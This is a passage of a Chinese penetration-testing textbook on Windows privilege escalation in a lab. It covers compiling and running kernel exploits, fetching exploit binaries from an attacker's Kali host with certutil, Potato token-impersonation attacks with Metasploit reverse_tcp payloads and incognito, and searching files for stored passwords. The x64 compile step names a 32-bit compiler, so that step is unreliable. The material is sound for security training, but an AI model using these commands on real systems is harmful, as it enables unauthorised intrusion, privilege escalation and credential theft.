我们现在在系统上获得了提升的权限，可以开始执行后期利用操作。建议为提升的 Meterpreter 会话设置持久化，以防该进程被杀死或系统关闭。

这个过程将根据漏洞模块的类型和所执行的攻击类型有所不同，但在使用 Metasploit 框架时，过程将保持相似。

使用 Metasploit 进行内核利用的过程要简化得多，因为许多步骤可以自动化，然而，您可能会遇到只有通过标准 shell 而非 Meterpreter 会话访问目标的情况。这时，手动内核利用就变得很重要。

手动内核利用

在某些情况下，您可能无法访问具有 Meterpreter 会话的目标，或者您可能是通过手动利用技术（如 Web shell）来利用目标的。在这种情况下，您将通过标准反向 Shell 访问目标，通常是通过netcat实现的。这会带来一些问题；我该如何扫描目标以寻找潜在的内核漏洞？我又该如何将内核漏洞传输到目标上呢？

这些是我们将在本节中解决的问题；我们的目标选择将是 Windows 7 虚拟机。

本地枚举

第一步是扫描并识别潜在的内核漏洞。可以通过使用Windows-Exploit-Suggester工具或其他枚举脚本和工具来完成。在这种情况下，我们将利用winPEAS二进制文件来枚举我们的目标信息。

注意

winPEAS 是一个本地 Windows 枚举脚本，用于搜索和扫描潜在漏洞，并枚举所有可以用于进行特权提升攻击的重要系统信息。

winPEAS二进制文件可以从 GitHub 存储库下载，链接如下：github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe.

确保根据目标操作系统的架构下载正确的二进制文件；特定架构的二进制文件可以在binaries文件夹中找到，以下截图突出显示了该文件夹：

图 5.11 – winPEAS 二进制文件

在将二进制文件下载到我们的 Kali 虚拟机后，我们需要将winPEAS.exe二进制文件传输到我们的目标虚拟机。这不能自动完成，因为我们没有 Meterpreter 会话。因此，我们将需要利用 Windows 特定的工具来下载该二进制文件。

传输文件

为了将winPEAS.exe二进制文件传输到目标，我们需要在 Kali 虚拟机上设置一个 Web 服务器，用来托管该二进制文件，以便我们可以在目标系统上下载它。可以按照这里概述的步骤进行操作：

要在我们的 Kali 虚拟机上设置 Web 服务器，我们可以使用SimpleHTTPServer Python 模块来提供二进制文件。可以通过在存储winPEAS.exe二进制文件的目录中运行以下命令来完成：

sudo python -m SimpleHTTPServer 80

注意

SimpleHTTPServer是一个适用于 Python 2 和 Python 3 的 Python 模块。

如下截图所示，SimpleHTTPServer模块将在 Kali 虚拟机的 IP 地址上通过端口80提供目录中的文件：

](Images/B17389_05_012.jpg)

图 5.12 – SimpleHTTPServer
为了将winPEAS.exe二进制文件下载到目标系统，我们可以使用certutil工具。然而，在下载二进制文件之前，我们需要导航到一个有读写权限的目录。在这种情况下，我们将导航到当前用户的桌面，如下图所示：

图 5.13 – 默认用户目录

现在，我们可以使用certutil工具从 Kali 虚拟机下载二进制文件到目标系统。这可以通过在目标系统上运行以下命令来完成：

certutil -urlcache -f http://<KALI-VM>/winPEASx64.exe winPEAS.exe

该命令的输出可以在以下截图中看到：

](Images/B17389_05_014.jpg)

图 5.14 – certutil 成功传输

如前面的截图所示，如果传输成功，二进制文件应该会被下载并保存为我们指定的名称。

我们现在可以使用 winPEAS 二进制文件来枚举潜在的内核漏洞，这些漏洞可以用于提升我们的权限。

枚举内核漏洞

winPEAS 二进制文件会枚举大量信息，并执行各种检查以发现潜在的漏洞。在内核漏洞的上下文中，我们只需要枚举系统信息。这可以通过以下步骤完成：

要枚举所有重要的系统信息，我们需要运行winPEAS.exe二进制文件，并使用以下参数：

.\winPEAS.exe systeminfo

如下截图所示，二进制文件将枚举系统信息，并根据构建版本和安装的补丁，输出可以用来提升权限的内核漏洞列表：

](Images/B17389_05_015.jpg)

图 5.15 – winPEAS 内核漏洞
我们还可以使用Windows-Exploit-Suggester工具来枚举我们的系统信息并扫描潜在的内核漏洞。可以通过运行以下命令来完成此操作：

./windows-exploit-suggester.py -–database .xlsx -–systeminfo .txt

Windows-Exploit-Suggester脚本可以通过以下链接下载：github.com/AonCyberLabs/Windows-Exploit-Suggester.

如下截图所示，脚本将列出所有可以用于提升权限的潜在内核利用程序。我们现在可以利用这些信息来确定使用哪个正确的内核利用程序：

图 5.16 – Windows-Exploit-Suggester 内核利用程序
始终建议使用枚举工具和脚本输出的第一个利用程序。在本例中，我们将从MS16-135内核利用程序开始。我们需要进一步了解该利用程序以及如何使用它。我们可以通过进行快速的 Google 搜索来获取更多信息，如下截图所示：

图 5.17 – MS16-135 利用程序搜索

Google 搜索显示了一个 GitHub 仓库，其中包含有关利用程序的信息、利用程序源代码以及如何使用它的说明。

始终建议分析源代码，以确保它没有恶意并按预期工作，做任何必要的额外修改。让我们来看看如何从源代码编译一个 Windows 利用程序。

编译 Windows 利用程序

修改和编译利用程序的能力非常重要，因为它可以确保利用程序按预期工作，并为你提供根据需求对利用程序进行修改的灵活性。在本例中，我们将看看如何手动将利用程序代码编译成二进制文件：

首先，我们必须确保我们的 Kali Linux 虚拟机具备编译 Windows 二进制文件所需的所有构建工具。可以通过运行以下命令来完成：

sudo apt install mingw-w64
现在，你需要将利用程序代码下载到 Kali 虚拟机。这可以通过直接下载或使用wget工具实现，如下所示：

wget https://raw.githubusercontent.com/SecWiki/windows-kernel-exploits/master/MS16-135/41015.c
现在我们可以开始编译过程了，不过，根据目标系统的架构，我们需要以不同的方式编译源代码。

对于基于 x64 的操作系统，运行以下命令，并根据自己的文件和输出名称替换参数：

i686-w64-mingw32-gcc exploit.c -o exploit.exe

如果目标是 32 位系统，运行以下命令：

i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32

这将编译利用程序成一个二进制文件，然后我们可以将其转移到目标系统上执行。

运行内核利用程序

成功编译利用程序代码后，我们可以将编译好的二进制文件传输到目标系统，并根据利用程序文档中的说明执行。这可以通过按照以下程序进行：

在这个特定的情况下，执行内核漏洞二进制文件是直接的，仅需要指定目标操作系统版本。在执行之前，我们需要将漏洞传输到目标系统。这可以通过在 Kali 虚拟机上启动一个本地 web 服务器并使用 SimpleHTTPServer Python 模块来完成：

sudo python -m SimpleHTTPServer 80
为了将二进制文件下载到目标系统，我们可以使用 certutil 工具。然而，在下载二进制文件之前，我们需要进入一个具有读写权限的目录。在这种情况下，我们将进入当前用户的桌面，如下图所示：

图 5.18 – 默认用户目录

我们现在可以使用 certutil 工具从 Kali 虚拟机将二进制文件下载到目标系统。可以通过在目标系统上运行以下命令来完成：

certutil -urlcache -f http://<KALI-VM>/exploit.exe exploit.exe
现在我们可以通过在目标系统上执行漏洞二进制文件来运行它，如下所示：

.\exploit.exe

前面命令的输出如下面的截图所示：

图 5.19 – 漏洞选项

如图 5.19所示，利用此漏洞需要用户指定目标操作系统。可以通过以下选项执行漏洞来完成此操作：

.\exploit.exe 7

在指定操作系统后运行漏洞时，完成需要几秒钟时间，之后我们应该获得一个具有 nt authority\system 权限的提升的 shell：

](Images/B17389_05_020.jpg)

图 5.20 – 手动内核漏洞成功

如前面的截图所示，漏洞成功运行并自动提升了我们的权限。

我们现在已经能够成功手动和自动运行 Windows 内核漏洞，并可以开始探索其他权限提升向量。

总结

在本章中，我们首先介绍了如何使用 Metasploit 框架自动识别和运行内核漏洞。接着，我们讨论了如何手动识别、编译和传输内核漏洞。最后，我们以如何成功在目标系统上执行内核漏洞以提升我们的权限作为结束。

现在我们已经学会了如何在 Windows 上进行内核漏洞利用，我们可以开始探索其他权限提升向量。

在下一章中，我们将探讨 Windows 上的冒充攻击以及它们如何导致成功的权限提升。

第六章：冒充攻击

现在您已经在 Windows 上的权限提升过程中动手操作过，我们可以开始探索其他可以利用的攻击路径，以提升我们的权限。在本章中，我们将更详细地了解Windows 访问令牌，它们是如何工作的，以及如何通过冒充攻击利用它们来提升我们的权限。

本章的实际演示将主要集中在如何枚举系统上的特权，以确定系统是否容易受到冒充攻击，以及如何生成或冒充一个特权的 Windows 访问令牌，该令牌可用于提升我们的特权。

我们还将学习如何使用各种内置的meterpreter模块自动化目标系统上的令牌冒充过程。

本章将涵盖以下主要主题：

了解 Windows 访问令牌
枚举特权
令牌冒充攻击
通过 Potato 攻击提升特权

技术要求

要跟随本章中的演示，您需要确保满足以下技术要求：

熟悉 Windows CMD 命令
基本理解 Windows 访问令牌

您可以在此处查看本章代码的实际演示：bit.ly/3kWPSch

了解 Windows 访问令牌

我们在本书的第一章简要介绍了 Windows 访问令牌是如何工作的，并应该对它们如何被滥用来提升权限有一个大致的了解。本节将更深入地探讨它们是如何工作的，以及它们在 Windows 身份验证过程中的作用。

第一步是重新审视 Windows 访问令牌在身份验证中所起的作用，它们是如何工作的，以及可以分配给令牌的各种安全级别。

Windows 访问令牌

Windows 访问令牌是 Windows 身份验证过程中的核心元素，由本地安全授权子系统服务（LSASS）创建和管理。

Windows 访问令牌负责识别和描述在系统上运行的进程或线程的安全上下文。简单来说，访问令牌可以被看作是一个临时的密钥，类似于 Web Cookie，它为用户提供对系统或网络的访问，而无需每次启动进程或访问系统资源时都提供凭据。

访问令牌由winlogon.exe进程在每次用户成功身份验证时生成，并包含与线程或进程相关的用户帐户的身份和特权。然后，此令牌会附加到userinit.exe进程，之后由用户启动的所有子进程将继承来自其创建者的访问令牌副本，并在相同访问令牌的特权下运行。

令牌安全级别

考虑到访问令牌用于根据用户的权限提供特定访问权限，Windows 访问令牌根据分配给它们的不同安全级别进行分类。这些安全级别用于确定分配给特定令牌的权限。

访问令牌通常会分配以下安全级别之一：

匿名
身份识别
伪造
委托

我们将遇到并利用的两个主要安全级别是 impersonate 和 delegate，因为它们可以被滥用来提升我们在系统上的权限。

伪造令牌

Impersonate-级别的令牌是 Windows 上非交互式登录的直接结果，通常是通过特定的系统服务或域登录生成的。

Impersonate-级别的令牌可用于在本地系统上伪造令牌，而不能用于任何使用该令牌的外部系统。

委托令牌

Delegate-级别的令牌通常是通过在 Windows 上的交互式登录创建的，主要通过传统登录或通过远程访问协议如 远程桌面协议（RDP）生成。

Delegate-级别的令牌构成最大威胁，因为它们可以在任何系统上用于伪造令牌。

现在我们了解了访问令牌的工作原理及其相关的各种安全级别，我们可以看看它们是如何被滥用来提升系统权限的。

滥用令牌

滥用令牌以提升系统权限的过程主要取决于被利用账户的权限，该账户已被用来获得初始访问权限。

为了充分理解如何利用委托和伪造访问令牌提升我们的权限，我们需要探讨执行伪造攻击所需的特定 Windows 权限。

以下是成功进行伪造攻击所需的权限：

SeAssignPrimaryToken：允许用户使用如 rottenpotato.exe 等攻击工具伪造令牌。
SeCreateToken：允许用户创建具有管理员权限的任意令牌。
SeImpersonatePrivilege：允许用户在通常具有管理员权限的情况下，在另一个用户的安全上下文下创建进程。

更多关于特定 Windows 权限及其在伪造攻击中可能产生的影响的信息，请参考：github.com/gtworek/Priv2Admin.

现在我们理解了 Windows 上访问令牌的工作原理、与令牌相关的各种安全级别以及成功发起伪造攻击所需的特定权限，我们可以通过查看如何枚举目标系统上与我们账户相关联的权限，来开始令牌伪造过程。

在本章中，我们将使用我们在虚拟黑客实验室中设置的 Windows 7 SP1 虚拟机。

现在我们可以开始枚举特权的过程，以确定是否可以对目标执行伪造攻击。

枚举特权

要执行特权枚举过程，你需要确保通过命令行或meterpreter会话访问目标系统。我们将查看适用于这两种访问方法的各种技术。要开始特权枚举过程，请按照以下步骤操作：

第一步是识别当前使用的用户账户。可以通过在meterpreter中运行以下命令来完成：

getuid

如果你无法通过meterpreter会话访问目标，可以在命令行中运行以下命令：

whoami

如下图所示，这将输出当前登录的用户；在这种情况下，我们以普通用户身份登录：

图 6.1 – 枚举当前用户
下一步是枚举用户特权，可以通过在meterpreter中运行以下命令来实现：

getprivs

另外，如果你正在使用命令行，可以在命令提示符下运行以下 Windows 命令：

whoami /priv

这将输出分配给用户账户的特权列表。我们主要关注识别以下可能被滥用的特权：

SeAssignPrimaryToken：此权限允许用户使用rottenpotato.exe等利用工具伪造令牌。
SeCreateToken：此权限允许用户创建一个具有管理员权限的任意令牌。
SeImpersonatePrivilege：此权限允许用户在另一个用户的安全上下文中创建进程，通常该用户具有管理员权限：

图 6.2 – 使用 meterpreter 枚举特权

如前面的截图所示，我们能够识别出SeImpersonatePrivilege特权。此特权可以用来在另一个用户的安全上下文中创建进程，通常该用户具有管理员权限：

图 6.3 – 枚举特权 CMD

如前面的截图所示，Windows 命令也会提供有关特权的信息；在这种情况下，SeImpersonatePrivilege特权允许我们在身份验证后伪造客户端。

如果账户没有上述列出的任何特权，你将无法成功执行伪造攻击。因此，你需要识别另一个潜在的攻击向量。

我们现在已经能够成功枚举登录用户账户的特权，并可以开始执行令牌伪造攻击。

令牌伪造攻击

令牌冒充攻击利用特定的 Windows 权限，如 SeImpersonatePrivilege，来获取具有管理权限的访问令牌，利用该令牌进行冒充，从而提升权限。

这个过程将取决于你所针对的 Windows 版本，并且可以通过多种技术执行。

我们将重点讨论的技术被称为 Potato 攻击。这种攻击有一些变种，会改变利用过程，但利用过程的核心原则保持不变。为了充分理解如何成功冒充令牌，我们需要更深入地了解 Potato 攻击的工作原理。

Potato 攻击概述

Potato 攻击是一个 Windows 提权技术的名称，它利用 Windows 中已知的问题，如 NTLM 中继（特别是 HTTP - SMB 中继）、NetBIOS 名称服务（NBNS）欺骗、WPAD 和 Windows 更新。

这种技术允许攻击者将 Windows 系统中的权限从最低权限账户提升到最高权限账户，即 NT AUTHORITY**/**SYSTEM。

因为利用 NTLM 身份验证的过程涉及到 NTLM 身份验证的工作原理，所以我们需要了解 NTLM 身份验证的基本原理。

NTLM 身份验证

NT LAN 管理器（NTLM）是一组在 Windows 中使用的身份验证协议，用于促进计算机之间的身份验证。身份验证过程涉及使用有效的用户名和密码来成功进行身份验证。

NTLM 身份验证在客户端-服务器通信模型下运行，并涉及一个类似于 TCP 三次握手 的握手过程。

身份验证过程利用三种类型的消息，这些消息用于建立成功的身份验证：

谈判
挑战
响应

以下图示展示了 NTLM 身份验证过程的整体情况，以及客户端与服务器之间的握手过程：

图 6.4 – NTLM 身份验证过程

现在我们对 NTLM 身份验证的基本原理有了初步了解，接下来我们将更详细地探讨握手过程中的步骤：

客户端通过向服务器发送身份验证请求来发起连接；该请求包括用于身份验证的用户名。
服务器回应请求，发送 NTLM 挑战，通常是一个随机数。
客户端接收到挑战响应后，生成挑战号码和用户密码的哈希值，并将其发送回服务器。
服务器已经知道用户的密码，并生成密码的哈希值来与客户端返回的哈希值进行比较。
如果哈希匹配，客户端的身份和用户的身份就会得到验证，且访问会被授权；如果不匹配，访问将被拒绝。

NTLM 身份验证握手的性质使其容易受到 中间人攻击，可以利用这些攻击进行伪装攻击。

你现在应该理解 NTLM 身份验证的工作原理，接下来我们可以探索各种可以使用的土豆攻击变种。

热土豆攻击

热土豆攻击涉及多个步骤，利用了 NTLM 中继（特别是 HTTP=>SMB 中继）、WPAD、NetBIOS 名称服务器、伪造和 Windows 更新。攻击过程如下：

第一步是向目标发送伪造的 NBNS 响应包，指向我们将在 127.0.0.1:80 上设置的伪造 WPAD 代理服务器。这将把目标系统上的 HTTP 流量重定向到我们的服务器。
下一步是以 NT AUTHORITY**/**SYSTEM 启动 Windows 更新。
默认情况下，Windows 更新将通过请求 URL http://wpad/wpad.dat&#8221 自动查找网络代理设置配置。这时，伪造的 WPAD 代理服务器就发挥作用了。如果存在代理，将会使用它。由于我们已经用包含伪造代理地址的包淹没了目标，Windows 更新将使用伪造代理，从而让我们拦截特权的 NTLM 身份验证请求。
伪造的 WPAD 代理通过 NTLM SMB 中继进行身份验证，并获取 NTLM 安全挑战。然后将安全挑战转发给 Windows 更新。
Windows 更新返回 NTLM 响应，该响应将被伪造的 WPAD 代理拦截。
最后一步是使用 NTLM 响应通过 SMB 进行身份验证。

关于热土豆攻击的更多信息可以在这里找到：foxglovesecurity.com/2016/01/16/hot-potato/

腐烂土豆攻击

腐烂土豆攻击涉及三个主要步骤，利用 NTLM 中继来协商 NT AUTHORITY**/**SYSTEM 的安全令牌。攻击过程如下：

第一步是诱使 NT AUTHORITY**/**SYSTEM 账户通过我们操作的 TCP 端点使用 NTLM 进行身份验证。
通过设置中间人攻击，可以促进身份验证过程，从 NT AUTHORITY**/**SYSTEM 账户本地协商安全令牌。
最后一步涉及伪装我们刚刚协商的令牌。这要求我们的账户拥有 SeImpersonatePrivilege 权限。

腐烂土豆攻击是热土豆攻击的改进版本，也利用了 NTLM 中继、NBNS 伪造、WPAD 和 Windows 更新。腐烂土豆攻击更高效，成功率更高，因为它不依赖于 Windows 更新过程。

更多关于 Rotten Potato 攻击的信息可以在此找到：foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/.

现在我们了解了各种 Potato 攻击的工作原理，我们可以开始在目标系统上进行令牌冒充操作。

通过土豆攻击提升权限

在本节中，我们将探索可以通过 Potato 攻击进行令牌冒充的各种工具和技术。如前所述，Potato 攻击的成功将取决于目标运行的 Windows 版本以及是否运行诸如 WPAD 等服务，或者是否使用 NTLMv2 哈希。

我们可以通过按照下列程序开始这个过程：

第一步是执行系统枚举，识别通过 Potato 攻击可以利用的潜在权限提升向量。这可以通过使用自动化枚举脚本来完成；在本例中，我们将使用 Windows 漏洞建议器 脚本：

./windows-exploit-suggester.py --database <Database>.xlsx --systeminfo <Systeminfo>.txt

如下图所示，这将输出一份潜在的权限提升漏洞列表，在本例中，我们只关注能够导致权限提升的 Potato 漏洞：

图 6.5 – Windows 漏洞建议结果

在这个示例中，我们可以识别出一个潜在的权限提升攻击向量，可以通过 Hot Potato 和 Rotten Potato 攻击进行利用：

图 6.6 – MS16-075 Metasploit 模块

如上图所示，关于 MS16-075 漏洞的进一步研究揭示了一个我们可以用来自动执行 Potato 攻击的 Metasploit 模块。
我们可以通过运行以下命令在 Metasploit 中加载模块：

use exploit/windows/local/ms16_075_reflection

在加载模块之前，确保你已将 meterpreter 会话置于后台。
加载模块后，我们可以通过在 Metasploit 控制台中运行以下命令来查看模块选项：

show options

你还需要指定要使用的默认 shell；在本例中，我们将使用一个与x64架构操作系统兼容的meterpreter shell。可以通过运行以下命令来实现：

set payload /windows/x64/meterpreter/reverse_tcp

如下图所示，你需要修改的模块选项是 LHOST、LPORT 和 SESSION ID。此外，模块选项还应反映出我们在前一步中指定的默认 shell：

图 6.7 – 模块选项和默认有效负载
配置模块选项后，我们可以通过运行以下命令来执行漏洞模块：

run

如果漏洞成功，您应该会看到如下截图所示的新meterpreter会话：

图 6.8 – 漏洞成功
下一步是执行模拟过程，可以使用内置的meterpreter模块incognito来自动化。可以通过运行以下命令来加载该模块：

load incognito

如果模块成功加载，您应该会看到类似于以下截图所示的消息：

图 6.9 – 加载 incognito

注意

incognito是一个内置的meterpreter模块，最初是一个独立的应用程序，允许在成功利用漏洞后模拟用户令牌。
现在我们可以使用incognito显示可用的令牌列表，我们可以模拟的令牌。可以在meterpreter中运行以下命令来完成：

list_tokens -u

如以下截图所示，这将列出我们可以模拟以提升权限的所有可用用户令牌。在这种情况下，我们能够识别出具有委托安全级别的NT AUTHORITY/SYSTEM访问令牌：

图 6.10 – 列出令牌
下一步是进行实际的模拟。这可以通过运行以下命令，使用incognito来完成：

impersonate_token "NT AUTHORITY\SYSTEM"

如果模拟过程成功，您应该会收到类似以下截图所示的消息：

图 6.11 – 成功的模拟
我们现在可以通过枚举当前用户和权限来验证模拟攻击过程。这可以通过在 Meterpreter 中运行以下命令来完成：

getuid

如以下截图所示，我们现在应该在目标系统上拥有NT AUTHORITY/SYSTEM权限，并成功提升了我们的权限：

图 6.12 – 用户枚举

现在我们已经学会了如何使用 Metasploit 模块自动执行模拟攻击，我们还可以探索如何手动执行 Potato 攻击。

手动升级

手动升级过程将涉及使用需要手动编译、传输和执行的漏洞二进制文件。在执行漏洞二进制文件后，我们将利用meterpreter模块，如incognito，列出可用的令牌，并模拟特权访问令牌以提升我们的权限：

与前一部分类似，第一步是执行系统枚举，以识别可以通过 Potato 攻击利用的任何潜在权限提升漏洞。可以使用自动化枚举脚本来完成此操作，在本例中，我们将使用 Windows 漏洞建议器 脚本：

./windows-exploit-suggester.py --database <Database>.xlsx --systeminfo <Systeminfo>.txt

如以下截图所示，这将输出一列潜在的权限提升漏洞。在此情况下，我们仅关心能够导致权限提升的 Potato 漏洞：

图 6.13 – Windows 漏洞建议器结果

在此示例中，我们可以识别出一个潜在的权限提升攻击向量，可以通过 Rotten Potato 攻击利用。

我们可以导航到 图 6.13 中概述的 GitHub 参考 URL，了解更多关于该漏洞以及如何使用它的信息。

如以下截图所示，GitHub 仓库为我们提供了漏洞源代码和一个预编译的可执行文件，我们可以使用它：

图 6.14 – RottenPotato GitHub 仓库

GitHub 仓库还为我们提供了漏洞的使用流程和要求，如以下截图所示：

图 6.15 – RottenPotato 使用情况

在这种情况下，我们将使用预编译的可执行文件；但是，建议分析源代码并手动编译，以根据您的需求修改参数并避免任何安全问题。
下载预编译漏洞后，我们需要将其传输到目标系统。为了将 rottenpotato.exe 二进制文件传输到我们的目标系统，我们需要在 Kali 虚拟机上设置一个 web 服务器，用于托管该二进制文件，以便我们可以在目标系统上下载它。可以按照此处的步骤完成此操作。

为了在我们的 Kali 虚拟机上设置一个 web 服务器，我们可以利用 SimpleHTTPServer Python 模块来提供二进制文件。可以通过在存储 rottenpotato.exe 二进制文件的目录中运行以下命令来完成此操作：

sudo python -m SimpleHTTPServer 80

另外，您还可以通过运行以下命令使用 Python3 http.server 模块：

sudo python3 -m http.server 80

如以下截图所示，SimpleHTTPServer 将在 Kali 虚拟机的 IP 地址上通过端口 80 提供该目录中的文件：

图 6.16 – SimpleHTTP 服务器目录

为了将rottenpotato.exe二进制文件下载到目标系统，我们可以使用certutil工具。然而，在下载二进制文件之前，我们需要导航到一个具有读写权限的目录。在这种情况下，我们将导航到当前用户的桌面，如下图所示：

图 6.17 – 默认用户目录

现在我们可以使用certutil工具从 Kali 虚拟机下载二进制文件到我们的目标系统。可以通过在目标系统上运行以下命令来完成：

certutil -urlcache -f http://<KALI-VM-IP>/rottenpotato.exe rottenpotato.exe

或者，我们也可以使用meterpreter上传rottenpotato.exe二进制文件。可以通过运行以下命令来实现：

upload /<BINARY-LOCATION>/rottenpotato.exe
根据使用程序的步骤，下一步是在meterpreter中加载incognito模块。可以通过运行以下命令来完成：

load incognito
在加载incognito模块后，我们现在可以执行rottenpotato.exe二进制文件。可以通过在meterpreter中启动 shell 会话，运行以下命令来完成：

shell

在目标系统上启动 shell 会话后，我们可以通过运行以下命令来执行rottenpotato.exe二进制文件：

.\rottenpotato.exe

如果漏洞利用成功，你应该会收到如下图所示的消息：

图 6.18 – RottenPotato 漏洞利用成功
现在我们可以终止 shell 会话并返回到meterpreter会话，并列出可用于伪装的访问令牌。可以通过运行以下命令来实现：

list_tokens -u

如下图所示，这将列出我们可以伪装的所有可用用户令牌，从而提升我们的权限。在这种情况下，我们能够识别出具有委托安全级别的NT AUTHORITY/SYSTEM访问令牌：

图 6.19 – 列出令牌
下一步是进行实际的伪装。可以通过incognito运行以下命令来完成：

impersonate_token "NT AUTHORITY\SYSTEM"

如果伪装过程成功，你应该会收到如下图所示的消息：

图 6.20 – 伪装成功
现在我们可以通过枚举当前用户和权限来验证伪装攻击过程。可以在 Meterpreter 中通过运行以下命令来实现：

getuid

如下图所示，我们现在应该已经拥有NT AUTHORITY/SYSTEM权限，并且已经成功提升了我们的权限：

图 6.21 – 用户枚举

现在，我们已经能够通过 Metasploit 模块和手动利用二进制漏洞，成功通过令牌伪装攻击提升我们的权限。

总结

在本章中，我们首先了解了 Windows 访问令牌是如何工作的，以及与之相关的各种安全级别。接着，我们探讨了如何通过使用自动化和手动工具在目标系统上枚举权限，以确定其是否容易受到令牌伪装攻击的影响。最后，我们通过深入分析如何通过 Potato 攻击自动化和手动进行令牌伪装攻击，结束了本章内容。

在下一章中，我们将探讨如何搜索存储的凭证和哈希值，以提升我们的权限。

第七章：Windows 密码挖掘

一个通常未被探索的重要特权提升攻击向量是搜索目标系统上本地存储的凭证的过程。这个过程包括搜索特定的密码和密码哈希值，这些可以直接用于提升特权，而无需使用任何漏洞利用。

本章将重点讲解如何使用各种工具和技术在目标系统上搜索密码并导出密码哈希值的过程。

我们还将了解如何破解 Windows NT LAN Manager（NTLM）哈希值，并利用这些哈希值在目标系统上提升特权。

本章将涵盖以下主要内容：

什么是密码挖掘？
在文件中搜索密码
在 Windows 配置文件中搜索密码
搜索应用程序密码
导出 Windows 哈希值
破解 Windows 哈希值

技术要求

为了跟随本章中的演示，你需要确保熟悉 Windows CMD 命令。

你可以在此查看本章代码的演示：bit.ly/3ogOyCN

什么是密码挖掘？

密码挖掘是搜索并列举存储在目标系统的持久性或易失性内存中的加密或明文密码的过程。这个过程的主要目标是识别潜在有用的用户帐户和应用程序密码，然后可以利用这些信息扩展我们对目标系统的控制权限，并可能为我们提供提升的特权。

由于 Windows 配置和部署用例的性质，这个过程会因目标而异。因此，了解密码（包括加密密码和明文密码）在 Windows 系统中的存储方式和存储位置非常重要。

还需要理解的是，这个过程依赖于一系列漏洞，这些漏洞通常源于组织或个人的密码安全实践。差劲的密码安全实践是攻击者的主要目标，因为它们提供了一个直接的访问通道，无需进一步的系统利用或破坏。

由于各种平台和应用程序需要大量凭证，员工和个人倾向于将凭证以明文形式保存在他们的系统中，通常保存在 .doc、.txt 或 .xlsx 文件中以便于访问，并且更可能使用较弱的密码，这些密码通常与他们相关的事件、名字或日期相关。这对组织的安全构成了重大威胁，因此大多数组织都会强制执行密码安全政策，以解决这些问题。

密码安全策略用于建立用户账户密码的基本安全级别，并强制要求安全存储和使用更强的密码，这些密码应包含字母（大写和小写）、符号和数字，且建议最短长度为 8 位。然而，这也导致了密码重用现象的出现，员工和个人可能会将相同的密码用于多个账户，主要是因为他们需要使用的密码复杂。这使得攻击者可以通过破解一个密码访问多个账户。

另一个安全漏洞或风险涉及 Windows 用户账户密码及其存储方式。Windows 会加密并本地存储用户账户密码以及存储在内存中的密码。在攻击者获得初步访问后，用户账户的哈希值可以从内存中提取，并可以被破解，这取决于密码的长度和强度。我们将在本章后续部分探讨这种技术的优缺点。

从组织角度来看，Windows 还用于托管第三方的关键业务应用程序，这些应用程序自身也存在安全漏洞。大多数这些应用程序都实现了某种形式的访问控制，因此需要以用户名和密码组合的形式进行用户身份验证。这些应用程序也容易将凭据本地存储，以明文或加密格式保存。攻击者成功利用应用程序后，可以找到这些凭据，解密它们（如果密码较弱），并利用它们访问应用程序，从而扩大对系统或网络的控制范围。

在本章中，我们将使用在 第二章 设置我们的实验室 中设置的 Metasploitable3 目标虚拟机。

Metasploitable3 是一台故意设置漏洞的虚拟机，运行在 Windows Server 2008 R2 上，并托管了大量应用程序，从 Web 应用到数据库。

这个强大的应用配置提供了一个很好的现实场景，可以用来实际演示我们将在本章中使用的工具和技术。

在我们开始之前，请确保你已经掌握了目标系统并能够通过命令行或 Meterpreter 会话进行访问。

本章中将使用的技术和工具包括利用 Windows 原生命令和特定的 Meterpreter 模块，帮助自动化密码挖掘和转储过程的各个方面。

在文件中搜索密码

该过程的第一步是搜索存储在本地的各种文件中的密码。这将帮助我们识别文本或配置文件中的任何用户或应用程序密码。可以通过使用 Windows 内置的实用程序来实现，这些工具可以帮助我们搜索具有特定扩展名的文件中的特定字符串。

我们将通过以下不同的程序开始这一过程：

第一步是搜索本地文件系统中的特定字符串。在本例中，我们要搜索的字符串是password。这将列出该字符串的所有出现位置、其值、对应的文件名及其位置。可以通过在 Windows 命令行中运行findstr工具来实现：

findstr /si password *.txt

该命令将执行区分大小写的搜索，查找所有子目录中的password字符串。

注意

findstr是一个用于在文件中搜索字符串的 Windows 工具，可以与各种正则表达式结合使用，以微调你的搜索。

为了执行彻底的搜索，建议在 Windows 文件系统的根目录运行findstr工具。可以通过导航到C:\\目录并从那里开始搜索来实现。

这将输出所有包含password字符串的.txt文件列表，如下所示的屏幕截图所示：

图 7.1 – findstr 结果

根据系统配置和已安装的应用程序数量，该命令将输出大量信息。因此，建议将结果输出到文件中进行深入分析，因为手动分析结果可能会非常繁琐。

我们还可以使用findstr工具在*.xml文件中搜索password字符串。可以通过运行以下命令来实现：

findstr /si password *.xml

如下所示，这将输出所有.xml文件中password字符串的出现位置列表。

你还可以通过运行以下命令来微调搜索，限制结果仅显示包含字符串的文件：

findstr /si /m "password" *.xml *.ini *.txt

这将限制搜索输出，仅显示包含搜索查询中指定字符串的文件：

图 7.2 – findstr XML 结果

我们还可以对目标系统中所有文件和目录进行综合搜索，查找特定字符串。可以通过运行以下命令来实现：

findstr /spin "password" *.* -

该命令将输出所有文件，无论其格式或扩展名，只要文件中包含password字符串。

根据目标的部署用例，你可能会收到很多匹配项，或者完全没有匹配项。我们将在下一节中详细介绍如何根据我们寻找的密码类型来微调搜索。
我们还可以通过在 Windows 上使用dir命令在文件中搜索各种字符串。可以通过运行以下命令来实现：

dir /s *pass* == *cred* == *vnc* == *.config*

如下图所示，该命令将输出指定字符串的所有出现及其相应的位置。这种扫描更加全面，并具有更高的返回有用和可操作结果的概率：

图 7.3 – 目录搜索结果

如前面的屏幕截图所示，搜索显示了包含搜索中指定字符串的文件的位置。在这种特定情况下，我们可以识别出GlassFish服务器的本地和域密码的位置。我们可以使用这些凭据控制该服务。

在接下来的章节中，我们将详细介绍如何搜索特定于应用程序的密码及其如何用于提升我们的权限。

现在我们知道如何在目标系统的文件中搜索有用的字符串，接下来我们将看看如何在 Windows 配置文件中搜索密码。

在 Windows 配置文件中搜索密码

Windows 可以自动化各种重复的任务，例如在多个系统上大规模部署或安装 Windows。其中一个示例是无人值守 Windows 安装实用程序，它自动化了 Windows 的大规模安装。此工具利用包含特定配置和用户账户凭据的配置文件，攻击者可以利用这些凭据提升权限。在本节中，我们将探讨如何搜索和识别在无人值守 Windows 安装过程中使用的配置文件。

